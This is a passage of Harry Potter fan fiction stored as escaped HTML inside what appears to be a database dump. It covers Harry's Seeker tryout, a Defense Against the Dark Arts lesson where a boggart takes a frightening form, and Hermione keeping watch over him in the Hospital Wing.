in? Maybe I\'m getting that whole inner\neye thing...ooo... </i>Harry rolled  his eyes mentally to himself as he thought\nof Divination. Yet the thoughts  quickly left his mind and was replaced with\nthe cold voice that hissed like  a snake... Your end is drawing near...dramatic\nperson wasn\'t  he? But that  dream is just so..surreal..<br>\n         <br>\n         Harry Potter frowned as he took off his glasses and placed them\nsilently     onto the table next to him. He turned restlessly again, and\nrealized that     before he would even fall asleep or notice, the sun was\nup, and it was  time   to rise.<br>\n         <br>\n         <br>\n          \n<center>    ~*~</center>\n     <br>\n         <br>\n         <br>\n         Hermione shifted her honey brown eyes towards her freckled friend\n who   was  pacing rentlessly on the wet grass. She tilted her head, causing\n her   bushy  mass of hair to sway in that direction before she finally opened\n her  mouth.  &quot;Ronald Weasley!&quot;<br>\n         <br>\n         &quot;What?! Yeah mom?&quot; Ron answered, a sudden grin popped onto his face\n  at  Hermione\'s  scowl. &quot;Ok, ok! What Hermione?&quot;<br>\n         <br>\n         &quot;What are you doing?&quot; She asked innocently, but the note of annoyance \n was not hidden from her voice.<br>\n         <br>\n         &quot;I..I\'m uh..&quot;<br>\n         <br>\n         &quot;Pacing back and forth on this Quidditch Pitch for the last half \nhour?!    You\'re wasting time Ron! You could be..doing your Divination homework...or\n    trying to..&quot;<br>\n         <br>\n         Ron threw his arms up in the air and stared at Hermione, &quot;Well I \nwould    love  to be able to think straight like you, but right now my brain \nis doing   flips!&quot;<br>\n         <br>\n         &quot;And so is your stomach,&quot; Hermione added as Ron\'s stomach growled.<br>\n         <br>\n         He smiled sheepishly at her and shrugged, &quot;I guess I missed breakfast.&quot;<br>\n         <br>\n         &quot;That\'s amazing! You. Missed. Breakfast!&quot; Hermione exclaimed with\n wide   eyes.<br>\n         <br>\n         &quot;Yeah...so?&quot;<br>\n         <br>\n         &quot;But you\'re like...the bottomless pit!&quot;<br>\n         <br>\n         Ron quirked an eyebrow at her. &quot;I\'ll take that as a compliment \'Mione. \n   But  really, there\'s only fifteen minutes left before the tryouts, and \nno   one except me and you, are out here!&quot; He walked forwards a few steps, \nhis   scarlet Quidditch robes bellowing out behind him. &quot;What am I going to\ndo?!&quot;<br>\n         <br>\n         &quot;Oh stop worrying! They\'ll show up,&quot; Hermione encouraged as she\nflipped     a page in her book.<br>\n         <br>\n         &quot;What are you reading anyways?&quot; Ron questioned with an air of curiousity. \n    &quot;Let me guess..you\'re on chapter 52 of <i>The Dark Arts: Unmasked</i>\n !  Am I correct?!&quot;<br>\n         <br>\n         Hermione glared at him in a friendly way but shook her head. &quot;No,\n I\'m   actually  re-reading <i>Hogwarts: A History</i>.&quot;<br>\n         <br>\n         &quot;NO WAY! That would make it your...like...billionth time reading \nthat  bloody  book!&quot; Ron stared at his friend in disbelief. &quot;I mean, no one \ncould   do that!  Don\'t you ever get bored of that thing?!&quot;<br>\n         <br>\n         &quot;Not really, I mean...everytime I read it, I kind of get more out\n of  it  you know,&quot; Hermione replied with a smile. Ron just gave Hermione\na glance    and sighed. &quot;Ten more minutes...&quot; He muttered as he scanned the\n whole field.<br>\n         <br>\n   Hermione sighed and scanned the field. &quot;Oh look!!&quot; Her sudden exclamation \n startled Ron, causing him to jump slightly. &quot;See Ron, someone\'s coming! And\n you were here pacing back and forth like some..&quot;<br>\n         <br>\n         &quot;HARRY!&quot; Ron cut her off before she could finish, a wide grin on \nhis  face as he clapped a hand on the young man\'s back causing    him to stumble\n forwards a few steps but he quickly regained his composure.<br>\n         <br>\n         &quot;Harry?!&quot; Hermione stared at the boy with messy dark hair standing \n in  front  of her.<br>\n         <br>\n         &quot;...Yeah?&quot; He stared at the two with confusion written across his\n face   before  scratched the back of his head. &quot;Is there something wrong?\n Did I  come at the wrong time? I was pretty sure the notice..&quot;<br>\n         <br>\n         &quot;No, no! Not at all,&quot; Ron interupted. &quot;Hermione\'s probably just\nsurprised     because you it\'s yo..&quot;<br>\n         <br>\n         &quot;You came early!&quot; Hermione quickly finished off for Ron while giving \n  him   a stern glance. &quot;So uh, you\'re trying out?&quot; She tried to keep the \nshock  from  her voice but she seemed to fail as Harry nodded with red cheeks.<br>\n         <br>\n         &quot;I just..I don\'t know what got into me actually,&quot; Harry confessed\n as  he  leaned against the broom he had been holding. &quot;I don\'t have a broom \n of  my  own, so I just borrowed one from the school if you don\'t mind..&quot;<br>\n         <br>\n         Ron shook his head quickly, &quot;Course not mate! A broom\'s a broom\nright?    I  mean, Firebolts are all that, but still, as long as you can\nfly!&quot; He  fingered   his own Nimbus 2000 before grinning again. &quot;So, you\nup to the challenge?&quot;<br>\n         <br>\n         &quot;Well, I guess,&quot; Harry replied, not much confidence in his voice.\n Hermione    smiled softly, &quot;You\'ll be fine.&quot;<br>\n         <br>\n         Harry nodded numbly, &quot;Er..yeah, ok. So what do I do exactly?&quot;<br>\n         <br>\n         &quot;Well, I\'m going to send a volley of different sized balls at you. \n Don\'t    worry, they won\'t be rock hard and they won\'t be HUGE so that it\'s \n not catchable.   When I think I\'ve seen enough, I\'ll stop the balls and...yeah!&quot; \n Ron looked   around him and shrugged. &quot;And when more people show up...I\'ll \n compare   your skills.&quot;<br>\n         <br>\n         Harry simply nodded again, and he suddenly felt awfully nauseas\nand  dizzy    at the thought of a thousand different sized balls raining\ndown on him.  He  frowned.<i> I don\'t want to embarrass myself in front of\nHermione...uh   and Ron...and everyone.</i> He glanced quickly towards his\nright at the head   girl who simply gave him a reassuring smile.<br>\n        <br>\n        He then looked over at the Gryffindor Quidditch Captain who seemed\n to  be  strangely excited over the whole matter. &quot;So uh...should I start?&quot;<br>\n        <br>\n        Ron snapped out of his goofy grin and nodded, &quot;Oh right! Ha, sorry\n Harry,    kind of got lost in thought there..hmm..right, so all you have\nto do is  catch  as many balls as possible. Once you\'ve caught it, the ball\nwill disappear    from your grasp. I\'ll keep track on how many you\'ve caught,\nok?&quot;<br>\n        <br>\n        &quot;Ok...&quot; Harry hopped onto his broom slowly and hovered above the\nground    a few feet before nervously glancing at the crate beside Ron\'s\nfeet.<br>\n        <br>\n        &quot;Ok then! Ready....set....go!&quot;<br>\n        <br>\n        Before Harry knew what was happening, he found himself up in the\nair   with   the cool afternoon wind blowing in his face, causing his messy\nlocks   of ebony  hair to fly in every possible direction. The sun shone\ndirectly   above him  and his right arm was constantly outstretched towards\nthe multi-coloured    balls that came out in random directions.<br>\n        <br>\n        A bright green one caught his eye and he noticed it was technically \n grazing   the grass below it, but way above but slightly behind it he could \n see another   medium sized pink ball heading towards his right. Harry squinted \n his eyes   in concentration as he pulled the old school broom downwards and\n shot down   at the ball in a veritcal line before pulling up again abruptly \n in almost   a nintey degree angle and catching the pink ball seconds after.<br>\n        <br>\n        &quot;BLOODY BRILLIANT HARRY!!&quot; Harry beamed at the sudden comment from\n Ron   and  was caught off guard for a moment, which allowed a canary yellow\n ball   to hit him square in the face.<br>\n        <br>\n        &quot;Ouch!&quot;<br>\n        <br>\n        &quot;You alright there?&quot; Ron called up towards him as Harry lowered his \n broom   and swiftly landed on his feet.<br>\n        <br>\n        &quot;Yeah...it was squishy anyways,&quot; Harry commented as he glanced at \nRon   expectantly.  &quot;So...what do you think?&quot;<br>\n        <br>\n        Ron blinked and then shook his head quickly, &quot;Oh! About your seeker \n abilities?!   Wonderful! It\'s bloody brililant! I wonder who else could match\n your skills!   I mean, I think you might even be better than Dean! Maybe\nI\'ll set the Snitch out for you and you can try catching that.&quot;<br>\n        <br>\n        Harry turned red but a smile crept onto his face nonetheless. His \nsilent    victory was interupted when three more figures appeared onto the \nfield and   approached them.<br>\n        <br>\n        &quot;Hey, we\'re here to tryout. I\'m Matthew Allen, sixth year. &quot; A tall \n boy   with messy copper hair declared before grinning and running a hand \ndown his  polished Nimbus 3000, the closest you could get to a Firebolt itself.<br>\n        <br>\n        A slightly shorter girl stood behind the boy, with sleek straight \ndirty    blonde hair and a few freckles sprinkled on her nose. &quot;I\'m Amara \nWhite,  fifth  year if you\'re wondering. And this is my younger brother Charles...he\'s \n in  fourth year.&quot; Amara waved a hand at the shortest member of the group \nwith  the same dirty blonde hair as his sister.<br>\n        <br>\n        Ron nodded, grinning like usual. &quot;I thought no one would want to\ntry   out   except Harry here!&quot;<br>\n        <br>\n        The three newcomers gave a sideways glance at the boy who stood silghtly\n    winded with the ancient school broom tightly clutched in his right hand. \n &quot;Who\'s   he?&quot; Matthew raised an eyebrow.<br>\n        <br>\n        Hermione bit her lip, glancing at the stuttering Harry and decided\n to  answer  for him. &quot;Harry..Harry Potter.&quot;<br>\n        <br>\n        Matthew glanced at the young man standing next to Ron and shook his \n head,   &quot;Oh, I thought you were a Hufflepuff.&quot;<br>\n       <br>\n       &quot;I guess he isn\'t,&quot; Hermione muttered under her breath, not really \nliking    Matthew already. Ron didn\'t seem to notice though, becuse his infamous \ngrin   was still plastered over his face. &quot;Great! So now I have four people \ntrying   out! Ha, I knew that there had to be <i>some </i>brave Gryffindors \nout there.&quot;<br>\n       <br>\n       Harry\'s stomach churned, wondering if his skills could surpass the \nthree    that stood confidently infront of Ron as the red head explained the\nrules.    A sigh escaped his lips without him noticing until her familiar \nvoice broke    his revere. &quot;Relax Harry, you were great out there..&quot;<br>\n       <br>\n       His jaded eyes widened as he quickly took notice of the grass at his \n feet instead of <i>her</i>.   &quot;Um, thanks.&quot;<br>\n       <br>\n       &quot;Really. Better than I thought, no offense.&quot; Hermione said sheepishly\n  and  smiled. &quot;You heard what Ron said, he says your skills are ...\'bloody\n  brilliant\'...so  have more cofidence in yourself mister.&quot;<br>\n       <br>\n       &quot;...Ok..&quot;<br>\n       <br>\n       &quot;What was that?&quot;<br>\n       <br>\n       &quot;Ok.&quot;<br>\n       <br>\n       &quot;Hmmm?&quot;<br>\n       <br>\n       &quot;OKAY. I\'m confident, and I\'m going to be the darn bloody seeker of\n Gryffindor.&quot;<br>\n       <br>\n       Hermione beamed, her radiating smile suddenly made Harry\'s embarrassment \n   wash away as Ron and the rest stared at him with utter confusion.<br>\n       <br>\n       Ron scratched his head thoughtfully and shrugged. &quot;Right, anyways! \nBack   to the tryouts...&quot;<br>\n       <br>\n       <br>\n          \n<center>  ~*~</center>\n     <br>\n       <br>\n       <br>\n       &quot;Please flip to page 63 of <i>The Dark Arts: Unmasked</i>.&quot; Professor \n Dawkes\'   hollow and slightly scratchy voice echoed through the room as the\n sound of  flipping pages sprung up in the air. &quot;I am sure all of you have\n learned of  banshees in the past, am I correct?&quot;<br>\n       <br>\n       The class nodded, a slightly bored air hung in the atmosphere. Professor \n   Dawkes was already known to ask typical questions that would waste class \n  time, and it made the students rather agitated. There could have been so \n many other things they could be doing instead of listening to her mindless \n quesitons that she probably had the answer herself.<br>\n       <br>\n       &quot;Right, I was correct.&quot; She added with a slight smirk on her deep\nmaroon    lips. The class shared looks and most of them rolled their eyes\nat their   professor\'s unintelligent remark. Hermione couldn\'t help but huff\nand blow   her honey brown bangs out of her eyes.<i> I never knew Defense\nAgainst the   Dark Arts could be so...so lame! </i><br>\n      <br>\n      &quot;Now, since you\'ve all learned about banshees, this question should \nbe  simple.  Why are they deadly?&quot; Some of them couldn\'t help but snort at \nthe  question.  Dawkes said it was a simple question? Then yeah, it was just\n that  simple that no one in the class even bothered to answer the ridiculous\n question.<br>\n      <br>\n      Hermione sighed and raised her hand. <i>Always up to me, isn\'t it?</i>\n    <br>\n      <br>\n      Professor Dawkes eyed her with her steely hazel eyes and nodded, indicating\n   that she could speak. &quot;The screams from a banshee can kill.&quot; Hermione\nmumbled,    but clear enough for everyone to understand. Yet they didn\'t\nneed to hear    it from Hermione, haven\'t they learned this fact sometime\nin the very very  distant past?<br>\n      <br>\n      Dawkes curtly nodded, &quot;Miss. Granger is correct. Like I said, it was\n a  simple  question what not. So today, we are going to work with banshees.&quot;<br>\n      <br>\n      There was a loud gulp that filled the room, and everyone turned towards \n  the source of the sound. They were all clearly surprised it wasn\'t Neville, \n  in fact, it was Seamus. &quot;Real ones?&quot; He stuttered, trying to keep his voice \n  even.<br>\n      <br>\n      &quot;No, I believe you\'ve faced this type of issue before. We\'re going\nto  use  boggarts. A special type that are rarer to find then the common\nboggart.   These type of boggarts have a lower defense and can be brought\ndown with  a number of spells and not just the \'Riddikulus\'\nspell.     &quot;\n <br>\n      <br>\n      A sigh of relief came from Seamus, and new confidence seemed to fill\n him   again. &quot;So we can just imagine the banshee in some hot pink bikini?&quot;<br>\n      <br>\n      Dawkes didn\'t seemed amused. &quot;No Mr. Finnigan. We\'re going to let it\n turn into a banshee and have it attempt  its scream.&quot;<br>\n      <br>\n      &quot;What?!&quot; A couple of the students let out a cry, even some of the composed\n   Slytherins.<br>\n      <br>\n      &quot;But of course, since you are all such intelligent students, you won\'t \n  let the banshee finish its scream before you shut it up.&quot; She explained. \n &quot;Second paragraph down from the top, there are instructions on a fairly complicated\n  spell to silence a banshee\'s scream.&quot;<br>\n      <br>\n      &quot;Couldn\'t we just use the silencing charm?&quot; Pansy Parkinson stiffled\n a  yawn.<br>\n      <br>\n      &quot;If you want it to scream even louder, then yes.&quot; Professor Dawkes\neyed   her warily, causing a few of the Gryffindors to chuckle and Pansy\nsent daggers   at them without a seconds thought. &quot;We\'re not talking about\nnormal creatures   class. We are dealing with the Dark Arts. Dark creatures...demons.&quot; \nShe literally  hissed. &quot;They wouldn\'t easily be finished by a normal charm. \nThat is why we have certain precautions and why we\'re learning all this anyways!&quot;<br>\n      <br>\n      She retreated to her desk and bent down so she was no longer in the \nstudent\'s   view. A few seconds later she popped up again with a case in one\nhand, most   likely containing the boggart. &quot;Ok, wands out. Did you all read\nthe paragraph?   It\'s not that long.&quot;<br>\n      <br>\n      Harry nervously took out his wand, glancing around the room to see\nif  he  was the only one who seemed to be hesitating. Professor Dawkes was\nnever   a very comforting presence. &quot;Oblivio Voiginta..&quot; He muttered softly\nunder   his breath over and over again. His nervous eyes darted towards a\nmass of   bushy hair and slowly his breath became even again.<br>\n      <br>\n      &quot;Come to the front and line up, please.&quot; She intructed as chairs were \n pulled  back and everyone gathered to the front of the classroom in a straight \n line.<br>\n      <br>\n      Hermione\'s hand suddenly shot up. &quot;Professor!&quot;<br>\n      <br>\n      &quot;Yes Miss. Granger?&quot;<br>\n      <br>\n      &quot;Aren\'t boggarts suppose to..change into our worst fear? What if our\n worst fear isn\'t  a banshee?&quot;<br>\n      <br>\n      Professor Dawkes actually broke into a small smile, but Harry noticed \n that  she seemed better without one. &quot;Ah, excellent observation Hermione. \n That is why each of you will be taking a bit of this before you face the \nboggart.&quot;  She held up a small vial that held a strange bright orange liquid \ninside it. It looked pasty, and something that you wouldn\'t want to swallow \non a regular basis.<br>\n      <br>\n      &quot;It will alter your mind slightly, in only what you fear. Thanks to \nProfessor   Snape this potion has been made. It is very complicated and few \nare able  to brew it. This potion has been set so that all of you will at \nonce have  the banshee as your worse fear.&quot;<br>\n      <br>\n      &quot;What if you\'re worst fear is a banshee already..&quot; Seamus trailed off,\n  looking  awfully embarrassed.<br>\n      <br>\n      &quot;Well, it doens\'t hurt to have some of this potion anyways. Just in \ncase.&quot;   Professor Dawkes finished off quickly and handed the vial to the \nfirst person   in line, Neville. He was trembling from head to toe and looked \nlike he was   about to faint before he managed to choke down a bit of the \npasty neon orange   liquid.<br>\n      <br>\n      &quot;Ready Neville?&quot;<br>\n      <br>\n      &quot;Um...yeah...I suppose..&quot; He didn\'t get a chance to finish because\nthe   boggart  had already been released from its case and was looming over\nNeville\'s   chubby  form. &quot;Oh...my uh..&quot;<br>\n      <br>\n      It had already taken the form of a banshee, and alot of the students\n decided   not to look at its disturbing features. Hermione was one of the\n few that  kept her eyes on the thing, and noticed that its mouth was begining\n to open  into an \'O\' shape. &quot;Neville! Hurry!&quot;<br>\n      <br>\n      &quot;Um..um..&quot; He was getting paler by the second as he raised his wand \nwith   one shaky hand. &quot;..OO..OBLIVION...VOIGINTA..!!&quot; He clamped his eyes \nshut  before he heard Dawkes snap, &quot;Mr. Weasley, you\'re up next!&quot;<br>\n      <br>\n      Ron quickly gulped down a bit of the potion and the boggart quickly \nchanged   from its form of Mrs. Weasley scolding him to a banshee once again \nas the  potion kicked in. Before  it could even open its mouth Ron had the \nspell out of his mouth in a blur.  The banshee flinched but stayed intact. \n&quot;Slowly,  don\'t blurt it. Boggarts  are known not to have excellent hearing.&quot; \nDawkes  stated.<br>\n     <br>\n     The youngest Weasley boy quickly took a breath and tried again. This \ntime  it  worked and another student was quickly pushed to the front. This \nwent  on for the another ten minutes, Hermione breezing past it with a flick \nof  her wand.<br>\n     <br>\n     At last, Harry flushed the potion down his throat, not wanting to taste\n  it. The boggart seemed confused for a moment, blinking from a series of\ndifferent  images. Once it was a strange bright green flash that caused the\nwhole class  to shield themselves.<br>\n     <br>\n     &quot;Oooh, look at that! Potter\'s got too many fears for the boggart to\ntake  only the form of one!&quot; Draco Malfoy called from the back of the classroom.<br>\n     <br>\n     The Slytherins sneered but Dawkes paid no attention to them. &quot;The potion \n  will make it turn into a banshee.&quot;<br>\n     <br>\n     Suddenly the altering boggart froze and finally took on a form. A misty\n  black figure was in place of where a banshee should have appeared, and\nnear   the top of the figure where a head would most likely be, two red slits\nhung   there glaring menacingly straight into Harry\'s horror stricken eyes.<br>\n     <br>\n     He heard a scream, and he didn\'t know who it belonged to. It might\'ve\n been  his own but all at once fire seemed to erupt in his head and he doubled \n over  in pain. The last words he heard before darkness was a girl\'s voice \n saying <i>\'Riddikulus!\'</i>.<br>\n       &nbsp;<br>\n       <br>\n           &nbsp;<br>\n           <br>\n           <br>\n           <br>\n           <br>\n           <br>\n                     \n\n\n'),
	(207, 7, '\n   <br>\n<br>\n<br>\n<br>\nDisclaimer: I don\'t  own any of the original characters in Harry Potter,\n   J. K. Rowling does.  The plot and any extra characters belong to me :)<br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n\n<center><br>\nUnderneath it All<br>\n    Chapter Seven: Watching Over You</center>\n<br>\n<br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   She was startled and chilled to the bone, the image of a pair of eyes\nso  full of malice still lingered in her thoughts. Hermione Granger rubbed\nher  temples before casting her gaze back upon the pale young man that laid\non  one of the many beds in the Hospital Wing. Everything in the past five\nhours  was still crisp in her mind. How she had reacted to the sudden scream\nfrom  Harry, and how she knew at once things weren\'t going right. Professor\nDawkes  wasn\'t so confident about the pasty orange potion after that. <br>\n   <br>\n   The whole Defense Against the Dark Arts class had been gaping at the misty \n figure, wide eyes, open mouths, everything. Only Draco Malfoy seemed to be\n able to grasp onto his brain and make some rueful remark about Harry being\n afraid of evil dust bunnies; in which he accused the misty figure to be.<br>\n   <br>\n   Hermione frowned, glancing at the clock above the door. Dinner was well\n over and everyone was probably lounging in the common room and discussing\n the latest news. <i>When will Professor Dumbledore come...he should have\nbeen here an hour ago.</i><br>\n   <br>\n   As if on cue, the wise wizard came stroding into the room, a slightly\nanxious  feature on his usually calm and composed face. &quot;Miss. Granger! How\nare you?&quot;<br>\n   <br>\n   &quot;Fine, Professor. But Harry..you see..&quot; She stuttered on her words but \nProfessor  Dumbledore simply nodded and came to Harry\'s bedside. Silence hung\nin the  air as the old man seemed to stare right into Harry\'s soul. &quot;How\nlong has  it been?&quot;<br>\n   <br>\n   &quot;Around..five hours I suppose.&quot; Hermione answered as she sucked in a breath. \n &quot;What\'s wrong with him? Did he have some brain failure? Was he that horribly \n scared of that creature? And..&quot;<br>\n   <br>\n   Dumbledore held up one hand to silence her and she relunctantly fell silent. \n &quot;Miss. Granger, I know you are a very composed and intelligent girl, that \n is why we picked you to be Head Girl. Now, if you let all the worry go, you\'ll\n be able to think clearly. Is it likely that he had brain failure? That he\n fainted because the..creature as you put it, is too horrible to look at?&quot;<br>\n   <br>\n   Hermione glanced at Harry\'s frozen figure thoughtfully, then back at the \n headmaster\'s eyes which were twinkling once again behind his half-moon spectacles. \n &quot;Well...he could\'ve had brain failure...I mean...well, maybe it\'s not <i>\n   that</i> likely, but it\'s a possibility! And his fainting...well, I\'m\nnot  sure about that actually..&quot; Her voice trailed off but she quickly sat\nup straighter. &quot;But maybe if I knew him better...I mean, as in, I don\'t know \nhim that well so he might have some crazy horror over fuzzy misty figures \nand I just don\'t know.&quot; She finished off with a breath, but her cheeks suddenly \nburned. &quot;That sounded really stupid didn\'t it?&quot;<br>\n   <br>\n   Professor Dumbledore chuckled and shook his head, &quot;No, no Hermione. It\'s \n just you and your brain forming wonderful opinions and reasons at why Harry \n is lying here right now.&quot; He turned to face the boy again. &quot;Can you do me \n a favor?&quot;<br>\n   <br>\n   &quot;Me?&quot; Hermione held back her surprise. &quot;Of course!&quot;<br>\n   <br>\n   &quot;Describe to me, this misty figure?&quot;<br>\n   <br>\n   Hermione stared at him. &quot;Well, it\'s a misty figure.&quot; She blushed. &quot;And \nto  me, it reminds me of a human...a human but with no features of a mouth \nor  hands, nothing of that sort. But its got that shape, and the eyes..&quot; She\nfrowned deeply. &quot;The eyes were the most frightening. They were hypnotizing \nto say the least...and very very red..gleaming red. In little slits..like \na snake.&quot; She finished nervously. &quot;That\'s all there is to it...&quot;<br>\n   <br>\n   &quot;Thank you Miss. Granger, that gives me a better picture.&quot; He nodded,\nthe  twinkle never leaving his eye, not a trace of worry or alarm shown on\nhis  aging face. &quot;Do you have any clue of what or who it is?&quot;<br>\n   <br>\n   &quot;No...not at all. Yet Draco Malfoy claimed that it resembled an evil dust \n bunny.&quot;<br>\n   <br>\n   Professor Dumbledore looked amused. &quot;Ah really? I am sure that, that person \n wouldn\'t be so happy to be compared with a dust bunny...&quot; He chuckled hoarsely. \n <br>\n   <br>\n   Hermione\'s alarm was evident on her face for Dumbledore\'s eyes just gleamed \n even more. &quot;Yes Miss. Granger, I know who Harry fears.&quot;<br>\n   <br>\n   &quot;Who though? Why was Harry\'s original fear unchangable even with the potion?\n It worked for everyone else...&quot; She felt lost, and for once she didn\'t think \n an old dusty book would help her either. Her brow furrowed in frustration \n as she looked at her professor intently, searching for an answer in those \n misty wise blue eyes.<br>\n   <br>\n   &quot;Ah..I am sure Harry will tell you someday.&quot; He simply answered while\npatting  Harry\'s bed. &quot;That is, when he finds out what he fears first.&quot;<br>\n   <br>\n   She felt her brain nearly flip with the oddness of the whole situation.\n Nothing made sense, and Professor Dumbledore didn\'t seem to want to present\n a straight out answer for her. She bit her lip a bit hard, almost hurting\n herself. &quot;But sir, doesn\'t he know what he fears? In order for him to have\n that image...but this doesn\'t make sense!&quot; She finally cried out in frustration\n as she stared from Harry to Dumbledore.<br>\n   <br>\n   &quot;Maybe somewhere in there, he does know who he fears. But it feels like\n an illusion to him, perhaps. But it will come clear, like every obstacle\nin life, Mr. Potter will face it. And we\'ll just have to have confidence\nin him so that he will be able to overcome whatever it is.&quot;<br>\n   <br>\n   &quot;But...what..&quot;<br>\n   <br>\n   He placed a wrinkled hand upon her own smooth ones and gave it a gentle\n squeeze. &quot;And you will be there all the way with him, Miss. Granger.&quot;<br>\n   <br>\n   Hermione blinked and swallowed hard. &quot;But he hardly knows me!&quot;<br>\n   <br>\n   &quot;Possibly. Yet I think sometimes you might know him slightly better than \n himself. You know when he\'s nervous, you know how he is insecure about mostly \n everything around him.&quot; A glimpse of sadness crossed the wise man\'s features. \n &quot;He has had a hard life, and yet everything he\'s been through might just \nbe the build up to the climax.&quot;<br>\n   <br>\n   &quot;The climax? Of what?&quot; Hermione felt awfully foolish and stupid, for her \n questions seemed to never end. She mentally scolded herself that she probably \n was acting like a little girl in front of the great Albus Dumbledore.<br>\n   <br>\n   &quot;Like I said before, just breathe..&quot; He paused and Hermione found herself \n letting out a breath that she hadn\'t realized she had been holding. &quot;And \neverything will eventually clear up. Good evening Miss. Granger, I might drop\nby some other time, but I\'m pretty sure Mr. Potter will be up and going by\ntomorrow evening at the latest.&quot;<br>\n   <br>\n   &quot;Um ok..good night Professor Dumbledore.&quot; Hermione managed a weak smile\n as a swish of dark purple robes disappeared from her sight and down the\ncorridor.  She sighed and propped an elbow onto the bed, letting her chin\nrest on her  palm. <br>\n   <br>\n   &quot;Oh this is so weird!&quot; She muttered under her breath. &quot;I\'ve just met you \n since the beginning of the year...which is really weird. And now I feel like\n I\'m invading on something that should be your personal life! You\'re greatest\n fear...why would you ever tell me anyways?&quot; She locked her gaze onto the\nshut eyelids of Harry. &quot;I\'m just Hermione Granger..Head Girl of Hogwarts.\nThat\'s how everyone sees me right?&quot; Hermione mumbled softly as she shut her\ntired eyes.<br>\n   <br>\n   &quot;You hardly know me...&quot; She stiffled a yawn. &quot; And I don\'t know you better \n than yourself...what was Professor Dumbledore thinking! I don\'t know your \n birthday, your favorite colour...you\'re just Harry Potter, like I\'m just \nHermione Granger to you right? Ooooh why am I even sitting here talking to \nyou when you can\'t even hear me?&quot; Hermione paused, suddenly feeling silly. \n&quot;Actually, I\'m glad you\'re not awake. It would be awfully embarrassing for \nyou to hear my endless mumbling..&quot;<br>\n   <br>\n   She frowned as she yawned again, snuggling closer to the warm bed and\ngrasping  a bit of the blankets covering Harry into her own cold hands. <br>\n   <br>\n   &quot;You\'re just Harry... but am I a friend to you? Yeah..I consider you a\n friend...and..you\'re nice, sweet, and you seem smart...compared to Ron...sorry\n Ron..&quot; She felt her arm relax. &quot;Dumbledore...he\'s predicting the weirdest\n things..he seems pretty confident we\'ll become close friends...will we?&quot;\nHer eyelids were heavy but she didn\'t care. She was feeling rather peaceful\nand secure in the Hospital Wing with Harry\'s soft breaths drawing in and\nout evenly. <br>\n   <br>\n   &quot;...will I be there...when you face that...fear of yours?&quot; And that was\n her last thought before her eyelids completely drooped and nothing seemed\n to matter anymore.<br>\n   <br>\n   <br>\n   <br>\n\n<center> ~*~</center>\n<br>\n  <br>\n  <br>\n  <br>\n  <br>\n  &quot;Hermione! Hermione!&quot;<br>\n  <br>\n  She groaned inwardly, feeling herself being rocked back and forth gently\n by the shoulders. She squinted from the bright sunlight that met her sleep-filled\n eyes as she yawned. &quot;What? Oh no! What time is it?!&quot;<br>\n  <br>\n  &quot;Don\'t worry, it\'s a Saturday, no classes.&quot; The familiar voice of Lavender\n Brown answered cheerfully. <br>\n  <br>\n  Hermione sat up, examining the room that she was in. Scarlet draperies...a\n couple other beds..scarlet blankets... &quot;Am I in the girl\'s dormitories?&quot;<br>\n  <br>\n  &quot;Yes..Madame Pomfrey told me to bring you back here because you fell asleep\n in the Hospital Wing..and since I didn\'t know the password to the Head Girl\'s\n dorm I just brought you back here.&quot; She explained before a playful smirk\n crossed her features.<br>\n  &nbsp;<br>\n  Hermione didn\'t like that look at once. &quot;What is it now Lavender? Stop\nstaring  at me like that!&quot;<br>\n  <br>\n  &quot;Oh come on Hermione! What <i>were</i> you doing in the Hospital Wing with\n <i>Harry Potter </i>anyways?!&quot; Lavender giggled as Hermione blushed scarlet \nenough to match the blankets that covered her. <br>\n <br>\n &quot;Oh come off it! Ron and I were the ones that brought him to the Hopsital \nWing..and then Ron left and I just stayed because Professor Dumbledore was \ngoing to come and I was pretty sure I needed to stay to explain the situation \nto him! It\'s not what you\'re thinking!&quot; Hermione cried in desperation as Lavender\nbroke out into another fresh set of giggles. She sighed. &quot;Oh for goodness\nsake! Stop acting like a silly..silly..&quot;<br>\n <br>\n &quot;Hermione! Stop acting like a silly silly girl who\'s denying the truth!&quot; \nLavender finished for her before chuckling. &quot;Who would have thought! Harry \nPotter of all people!&quot;<br>\n <br>\n &quot;Lavender Brown!&quot; Hermione said in an accusing tone. &quot;You\'re being ridiculous!&quot;<br>\n <br>\n Lavender pouted with her arms on her hips. &quot;Of course not! I find it rather \nsweet though...I brought you back here just before midnight, which means you\nstayed with him for a pretty long time, my dear.&quot;<br>\n <br>\n &quot;Lavender!!&quot;<br>\n <br>\n She giggled in response. &quot;I think he\'ll be awfully touched when he wakes \nup and finds out that you watched over him.&quot; She winked and skipped towards \nthe door. &quot;Well, I\'ll be going now! I\'m getting hungry and I need some breakfast. \nI think you should get dressed too before it\'s almost noon.&quot; She stepped out\nthe door but her head reappeared a few seconds later. &quot;And I\'m pretty sure\nyou\'ll want to check up on him too!&quot; She was out and away before the pillow\nthat Hermione had thrown could hit her square in the face.<br>\n <br>\n &quot;Oooh great! Now silly rumours will start flying about! I just know it!&quot; \nHermione huffed as she got out of bed, running a hand through her tangled \nmass of hair. She peeked out from behind the door, hoping that no one was \naround to see her in such a disarray of wrinkled robes and messy hair. Noticing \nthat no one was around, she quickly stepped out.<br>\n <br>\n &quot;Oy! Hermione!!&quot;<br>\n <br>\n She winced and looked over her shoulder. &quot;Ron! Um uh..&quot; <br>\n <br>\n &quot;Did you get out of the wrong side of bed?&quot; He chuckled as he came up to \nher.<br>\n <br>\n &quot;No...and yes,&quot; Hermione answered with a breath. &quot;Now if you\'ll excuse me..&quot;<br>\n <br>\n Ron stepped aside as Hermione brushed past in a hurry towards the potrait\nhole. &quot;Oh! And I just wanted to tell you who I\'m going to pick for Seeker!&quot;<br>\n <br>\n Hermione stopped dead in her tracks. &quot;Who?&quot; She questioned curiously without \nturning around to face Ron.<br>\n <br>\n &quot;Harry! I think he demonstrated the best seeker abilities out of all four\npeople! The thing is...Harry\'s still in the Hospital Wing isn\'t he?&quot;<br>\n <br>\n &quot;I..I think so.&quot;<br>\n <br>\n &quot;Oh bother. Do you think you can go there after breakfast and tell him if \nhe\'s awake? I\'ve got to go to detention for Snape,&quot; Ron muttered.<br>\n <br>\n &quot;Oh, sure, no problem!&quot; And with that she was out the portait hole and out \nof sight.<br>\n <br>\n Ron blinked, &quot;Strange.&quot;<br>\n <br>\n <br>\n <br>\n\n<center> ~*~</center>\n<br>\n <br>\n <br>\n <br>\n Harry blinked, his sight was blurred and the sunlight seeping into the room \nwasn\'t helping his eyes adjust. He rubbed them and blinked again, sitting \nup as he did so. &quot;Ugh,&quot; 